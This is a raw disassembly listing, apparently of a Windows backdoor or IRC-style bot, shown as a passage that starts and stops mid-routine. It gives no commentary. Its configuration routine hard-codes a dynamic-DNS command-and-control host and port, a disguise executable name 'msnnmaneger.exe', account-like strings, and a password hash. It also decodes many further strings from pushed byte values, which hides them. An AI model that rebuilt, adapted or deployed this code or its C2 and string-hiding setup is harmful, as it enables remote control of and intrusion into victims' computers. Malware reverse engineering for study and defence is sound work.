jmp loc_406F08 ; --------------------------------------------------------------------------- loc_406DB0: ; CODE XREF: ___:00406DA5j mov esi, offset aNetsvcs ; "-netsvcs" mov eax, edi loc_406DB7: ; CODE XREF: ___:00406DD5j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406DDB test cl, cl jz short loc_406DD7 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406DDB add eax, 2 add esi, 2 test cl, cl jnz short loc_406DB7 loc_406DD7: ; CODE XREF: ___:00406DC1j xor eax, eax jmp short loc_406DE0 ; --------------------------------------------------------------------------- loc_406DDB: ; CODE XREF: ___:00406DBDj ; ___:00406DCBj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DE0: ; CODE XREF: ___:00406DD9j test eax, eax jnz short loc_406DED mov byte ptr [ebx+0Ah], 1 jmp loc_406F08 ; --------------------------------------------------------------------------- loc_406DED: ; CODE XREF: ___:00406DE2j mov esi, offset aBai ; "-bai" mov eax, edi loc_406DF4: ; CODE XREF: ___:00406E12j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E18 test cl, cl jz short loc_406E14 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E18 add eax, 2 add esi, 2 test cl, cl jnz short loc_406DF4 loc_406E14: ; CODE XREF: ___:00406DFEj xor eax, eax jmp short loc_406E1D ; --------------------------------------------------------------------------- loc_406E18: ; CODE XREF: ___:00406DFAj ; ___:00406E08j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E1D: ; CODE XREF: ___:00406E16j test eax, eax jnz loc_406F08 lea ecx, [esp+10h] call sub_401424 mov eax, [esp+468h] push offset aBai ; "-bai" push eax mov dword ptr [esp+468h], 0 nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_406EF4 push eax lea ecx, [esp+14h] call sub_4015D7 push 1 push offset asc_443600 ; " " lea ecx, [esp+30h] push 1 push ecx lea ecx, [esp+20h] call sub_4011EA push offset byte_446F70 mov ecx, eax mov byte ptr [esp+464h], 1 call sub_4012EE lea ecx, [esp+28h] mov esi, eax mov byte ptr [esp+460h], 0 call sub_401226 test esi, esi jz short loc_406EF4 push 1 push offset asc_443600 ; " " lea edx, [esp+48h] push 1 push edx lea ecx, [esp+20h] mov byte ptr [ebx+0Bh], 1 call sub_4011EA push 104h mov ecx, eax mov byte ptr [esp+464h], 2 call sub_401681 push eax lea eax, [ebx+0Ch] push eax nop call near ptr 77C47A90h add esp, 0Ch lea ecx, [esp+40h] mov byte ptr [esp+460h], 0 call sub_401226 add ebp, 4 loc_406EF4: ; CODE XREF: ___:00406E51j ; ___:00406EA1j lea ecx, [esp+10h] mov dword ptr [esp+460h], 0FFFFFFFFh call sub_401226 loc_406F08: ; CODE XREF: ___:00406D6Dj ; ___:00406DABj ... mov eax, [ebp+4] add ebp, 4 test eax, eax jnz loc_406D38 xor ecx, ecx loc_406F18: ; CODE XREF: ___:00406D2Ej mov al, [ebx+4] pop edi pop esi pop ebp test al, al jnz short loc_406F25 mov [ebx+5], ecx loc_406F25: ; CODE XREF: ___:00406F20j cmp [ebx+5], ecx jnz short loc_406F35 test al, al jz short loc_406F35 mov dword ptr [ebx+5], 0Ah loc_406F35: ; CODE XREF: ___:00406F28j ; ___:00406F2Cj mov [ebx+5], ecx mov ecx, [esp+44Ch] mov byte ptr [ebx+4], 0 pop ebx mov large fs:0, ecx add esp, 454h retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 0D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407030 proc near ; CODE XREF: sub_40209Fj var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407030 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea eax, [esp+18h+var_11] lea ecx, [esi+32h] push eax mov [esp+1Ch+var_4], 0 call sub_401564 sub_407030 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov dword ptr [esi], offset off_43E00C mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4070B0 proc near ; CODE XREF: sub_401591j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_4015D7 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_8] lea eax, [esp+4+arg_0] mov [edx+2Ah], ecx push eax lea ecx, [esi+32h] call sub_4014E2 sub_4070B0 endp ; --------------------------------------------------------------------------- pop esi retn 0Ch ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4070F0 proc near ; CODE XREF: sub_401AF0j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401AC3 add esi, 32h lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_401622 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4021BC push eax lea ecx, [esp+14h+var_8] call sub_40183E test al, al jz short loc_40716B mov edi, [esp+10h+arg_0] loc_407133: ; CODE XREF: sub_4070F0+79j push edi lea ecx, [esp+14h+var_8] call sub_40173F mov ecx, [eax] call sub_4012EE test eax, eax lea ecx, [esp+10h+var_8] jz short loc_407175 call sub_401F0A lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_4021BC push eax lea ecx, [esp+14h+var_8] call sub_40183E test al, al jnz short loc_407133 loc_40716B: ; CODE XREF: sub_4070F0+3Dj pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_407175: ; CODE XREF: sub_4070F0+5Aj call sub_40173F mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_4070F0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4071C0 proc near ; CODE XREF: sub_4021F8j xor al, al retn 4 sub_4071C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4071E0 proc near ; CODE XREF: sub_401564j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40119F sub_4071E0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407220 proc near ; CODE XREF: sub_401622j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401A82 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_402185 mov eax, esi pop esi retn 4 sub_407220 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407260 proc near ; CODE XREF: sub_4021BCj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_402185 mov eax, esi pop esi retn 4 sub_407260 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407290 proc near ; CODE XREF: sub_4014E2j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4021BC mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4013B6 sub_407290 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072D0 proc near ; CODE XREF: sub_401AC3j push esi mov esi, ecx call sub_401B63 mov eax, esi pop esi retn sub_4072D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072F0 proc near ; CODE XREF: sub_40173Fj mov eax, [ecx] push eax call sub_401208 add esp, 4 retn sub_4072F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407310 proc near ; CODE XREF: sub_401F0Aj push esi mov esi, ecx mov eax, [esi] push eax call sub_401A82 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_407310 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407340 proc near ; CODE XREF: sub_40183Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FA0 neg al sbb eax, eax inc eax retn 4 sub_407340 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407370 proc near ; CODE XREF: sub_4013B6j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C8A mov edi, eax push edi call sub_401C58 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40119F sub_407370 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401C58 push edi mov [eax], ebx call sub_401C58 mov edi, [eax] push edi call sub_401C58 mov ecx, [eax] push ecx call sub_401A82 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401208 add esp, 4 mov ecx, esi push eax call sub_401672 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_402185 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407410 proc near ; CODE XREF: sub_40119Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4019C9 sub_407410 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_407425 mov edi, esi loc_407425: ; CODE XREF: ___:00407421j push esi call sub_401A82 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40743A mov edi, esi loc_40743A: ; CODE XREF: ___:00407436j push esi call sub_401C58 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407460 proc near ; CODE XREF: sub_401A82j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_407460 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407480 proc near ; CODE XREF: sub_401208j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_407480 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074A0 proc near ; CODE XREF: sub_401B63j mov eax, ecx retn sub_4074A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074C0 proc near ; CODE XREF: sub_402185j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4011E5 mov eax, esi pop esi retn 4 sub_4074C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074F0 proc near ; CODE XREF: sub_401FA0j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4074F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407520 proc near ; CODE XREF: sub_401C58j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_407520 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407540 proc near ; CODE XREF: sub_4019C9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_407540 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407570 proc near ; CODE XREF: sub_401672j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40109B add esp, 8 retn 8 sub_407570 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075A0 proc near ; CODE XREF: sub_4011E5j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4075A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075C0 proc near ; CODE XREF: sub_401C8Aj mov eax, [ecx] retn sub_4075C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4075E0 proc near ; CODE XREF: sub_401D16j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_4075EA xor eax, eax loc_4075EA: ; CODE XREF: sub_4075E0+6j push eax call sub_4367FA sub_4075E0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407610 proc near ; CODE XREF: sub_40109Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40762B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40762B: ; CODE XREF: sub_407610+11j retn sub_407610 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407640 proc near ; CODE XREF: sub_4011CCj arg_4 = dword ptr 8 mov eax, [esp+arg_4] retn sub_407640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407660 proc near ; CODE XREF: sub_401B2Cj var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_407660 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_4] mov [esp+1Ch+var_4], 0 call sub_4017E4 push eax mov eax, [esp+20h+arg_0] push 0 push eax mov ecx, offset word_448D16 call sub_401B5E sub_407660 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4076F0 proc near ; CODE XREF: sub_401CC1j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4076F0 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_1C] mov [esp+1Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+20h+arg_4] call sub_4017E4 push eax mov eax, [esp+24h+arg_0] push eax mov ecx, offset word_448D16 call sub_401B5E sub_4076F0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov byte ptr [esp+8], 0 call sub_401226 lea ecx, [esp+2Ch] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 34h ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407790 proc near ; CODE XREF: sub_40121Cj var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_348 = byte ptr -348h var_330 = byte ptr -330h var_318 = byte ptr -318h var_2F4 = byte ptr -2F4h var_2DC = byte ptr -2DCh var_2C4 = byte ptr -2C4h var_2AC = byte ptr -2ACh var_294 = byte ptr -294h var_27C = byte ptr -27Ch var_264 = byte ptr -264h var_24C = byte ptr -24Ch var_234 = byte ptr -234h var_21C = byte ptr -21Ch var_204 = byte ptr -204h var_1EC = byte ptr -1ECh var_1D4 = byte ptr -1D4h var_1BC = byte ptr -1BCh var_1A4 = byte ptr -1A4h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_15C = byte ptr -15Ch var_144 = byte ptr -144h var_114 = byte ptr -114h var_E4 = byte ptr -0E4h var_CC = byte ptr -0CCh var_B4 = byte ptr -0B4h var_9C = byte ptr -9Ch var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407790 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 344h push ebx push esi mov esi, ecx push edi lea ecx, [esp+35Ch+var_174] call sub_401424 lea ecx, [esp+35Ch+var_1A4] mov [esp+35Ch+var_4], 0 call sub_401424 lea ecx, [esp+35Ch+var_1D4] mov byte ptr [esp+35Ch+var_4], 1 call sub_401424 lea ecx, [esp+35Ch+var_204] mov byte ptr [esp+35Ch+var_4], 2 call sub_401424 lea ecx, [esp+35Ch+var_2DC] mov byte ptr [esp+35Ch+var_4], 3 call sub_401424 lea ecx, [esp+35Ch+var_2C4] mov byte ptr [esp+35Ch+var_4], 4 call sub_401424 lea ecx, [esp+35Ch+var_234] mov byte ptr [esp+35Ch+var_4], 5 call sub_401424 lea ecx, [esp+35Ch+var_264] mov byte ptr [esp+35Ch+var_4], 6 call sub_401424 lea ecx, [esp+35Ch+var_2F4] mov byte ptr [esp+35Ch+var_4], 7 call sub_401424 lea ecx, [esp+35Ch+var_24] mov byte ptr [esp+35Ch+var_4], 8 call sub_401424 lea ecx, [esp+35Ch+var_54] mov byte ptr [esp+35Ch+var_4], 9 call sub_401424 lea ecx, [esp+35Ch+var_84] mov byte ptr [esp+35Ch+var_4], 0Ah call sub_401424 lea ecx, [esp+35Ch+var_3C] mov byte ptr [esp+35Ch+var_4], 0Bh call sub_401424 lea ecx, [esp+35Ch+var_6C] mov byte ptr [esp+35Ch+var_4], 0Ch call sub_401424 lea ecx, [esp+35Ch+var_294] mov byte ptr [esp+35Ch+var_4], 0Dh call sub_401424 lea ecx, [esp+35Ch+var_15C] mov byte ptr [esp+35Ch+var_4], 0Eh call sub_401424 lea ecx, [esp+35Ch+var_114] mov byte ptr [esp+35Ch+var_4], 0Fh call sub_401424 lea ecx, [esp+35Ch+var_18C] mov byte ptr [esp+35Ch+var_4], 10h call sub_401424 lea ecx, [esp+35Ch+var_144] mov byte ptr [esp+35Ch+var_4], 11h call sub_401424 mov byte ptr [esp+35Ch+var_4], 12h lea ecx, [esp+35Ch+var_1BC] call sub_401424 lea ecx, [esp+35Ch+var_2AC] mov byte ptr [esp+35Ch+var_4], 13h call sub_401424 lea ecx, [esp+35Ch+var_1EC] mov byte ptr [esp+35Ch+var_4], 14h call sub_401424 lea ecx, [esp+35Ch+var_CC] mov byte ptr [esp+35Ch+var_4], 15h call sub_401424 lea ecx, [esp+35Ch+var_21C] mov byte ptr [esp+35Ch+var_4], 16h call sub_401424 lea ecx, [esp+35Ch+var_B4] mov byte ptr [esp+35Ch+var_4], 17h call sub_401424 lea ecx, [esp+35Ch+var_24C] mov byte ptr [esp+35Ch+var_4], 18h call sub_401424 lea ecx, [esp+35Ch+var_E4] mov byte ptr [esp+35Ch+var_4], 19h call sub_401424 lea ecx, [esp+35Ch+var_9C] mov byte ptr [esp+35Ch+var_4], 1Ah call sub_401424 lea ecx, [esp+35Ch+var_27C] mov byte ptr [esp+35Ch+var_4], 1Bh call sub_401424 lea ecx, [esp+35Ch+var_330] mov byte ptr [esp+35Ch+var_4], 1Ch call sub_401424 lea ecx, [esp+35Ch+var_318] mov byte ptr [esp+35Ch+var_4], 1Dh call sub_401424 mov bl, 1Eh push offset aScorti1_dns2go ; "scorti1.dns2go.com" lea ecx, [esp+360h+var_174] mov byte ptr [esp+360h+var_4], bl call sub_401A87 push offset a7000 ; "7000" lea ecx, [esp+360h+var_1A4] call sub_401A87 push offset aSaad ; "saad" lea ecx, [esp+360h+var_2AC] call sub_401A87 push offset aScorti1_dns2go ; "scorti1.dns2go.com" lea ecx, [esp+360h+var_1D4] call sub_401A87 push offset a7000 ; "7000" lea ecx, [esp+360h+var_204] call sub_401A87 push offset aSaad ; "saad" lea ecx, [esp+360h+var_1EC] call sub_401A87 push offset aScop ; "#scop#" lea ecx, [esp+360h+var_2DC] call sub_401A87 push offset aS_1 ; "#s" lea ecx, [esp+360h+var_27C] call sub_401A87 push offset aServec ; "servec" lea ecx, [esp+360h+var_2C4] call sub_401A87 push offset aMsnnmaneger_ex ; "msnnmaneger.exe" lea ecx, [esp+360h+var_234] call sub_401A87 push offset aWintwir ; "wintwir" lea ecx, [esp+360h+var_264] call sub_401A87 push offset aTahy ; "TAHY-" lea ecx, [esp+360h+var_2F4] call sub_401A87 push offset aAbosal7 ; "abosal7" lea ecx, [esp+360h+var_294] call sub_401A87 push offset aE10adc3949ba59 ; "E10ADC3949BA59ABBE56E057F20F883E" lea ecx, [esp+360h+var_15C] call sub_401A87 push offset aAdmin_com ; "admin.com" lea ecx, [esp+360h+var_114] call sub_401A87 push offset aTsinternetuser ; "TsInternetUser" lea ecx, [esp+360h+var_18C] call sub_401A87 push offset aHotfix ; "hotfix" lea ecx, [esp+360h+var_144] call sub_401A87 push offset dword_4437F8 lea ecx, [esp+360h+var_CC] call sub_401A87 push 0 push 4Bh push 48h push 4Ah push 47h push 4Ch push 48h push 4Bh push 48h push 45h lea eax, [esp+384h+var_348] push 46h push eax call sub_4019B5 add esp, 30h push eax lea ecx, [esp+360h+var_1BC] mov byte ptr [esp+360h+var_4], 1Fh call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 0Dh push 4Fh push 18h push 9 push 6 push 14h push 0Fh lea ecx, [esp+39Ch+var_348] push 8 push ecx call sub_4019B5 add esp, 48h push eax lea ecx, [esp+360h+var_21C] mov byte ptr [esp+360h+var_4], 20h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_B4] mov byte ptr [esp+360h+var_4], 21h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea eax, [esp+36Ch+var_348] push 45h push eax call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_E4] mov byte ptr [esp+360h+var_4], 22h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 44h push 49h lea ecx, [esp+368h+var_348] push 46h push ecx call sub_4019B5 add esp, 14h push eax lea ecx, [esp+360h+var_24C] mov byte ptr [esp+360h+var_4], 23h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_9C] mov byte ptr [esp+360h+var_4], 24h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 15h push 12h lea eax, [esp+36Ch+var_348] push 14h push eax call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_330] mov byte ptr [esp+360h+var_4], 25h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 13h push 0Ch push 1 lea ecx, [esp+370h+var_348] push 6 push ecx call sub_4019B5 add esp, 1Ch push eax lea ecx, [esp+360h+var_318] mov byte ptr [esp+360h+var_4], 26h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 lea ecx, [esp+35Ch+var_2C4] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+374h+var_34C], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+3D0h+var_348] push 13h push edx mov byte ptr [esp+3D8h+var_4], 27h call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+374h+var_4], 28h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+38Ch+var_350], esp push eax call sub_401861 lea eax, [esi+0FECh] mov ecx, esi push eax mov byte ptr [esp+390h+var_4], 29h call sub_401CC1 sub_407790 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+80h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Eh push 1 mov byte ptr [esp+37Ch], 2Ah push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 2Bh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+1035h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 2Ch call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1B8h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+78h] push 13h push eax mov byte ptr [esp+3C4h], 2Dh call sub_4019B5 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 2Eh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+0FA3h] mov byte ptr [esp+388h], 2Fh push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1E8h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+80h] push 13h push edx mov byte ptr [esp+3CCh], 30h call sub_4019B5 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 31h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+0F5Ah] mov ecx, esi push eax mov byte ptr [esp+38Ch], 32h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+68h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 18h push 9 push 6 push 5 push 12h mov byte ptr [esp+388h], 33h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+90h] push 13h push ecx call sub_4019B5 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 34h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edi, [esi+0E7Fh] mov ecx, esi push edi mov byte ptr [esp+38Ch], 35h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0B0h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 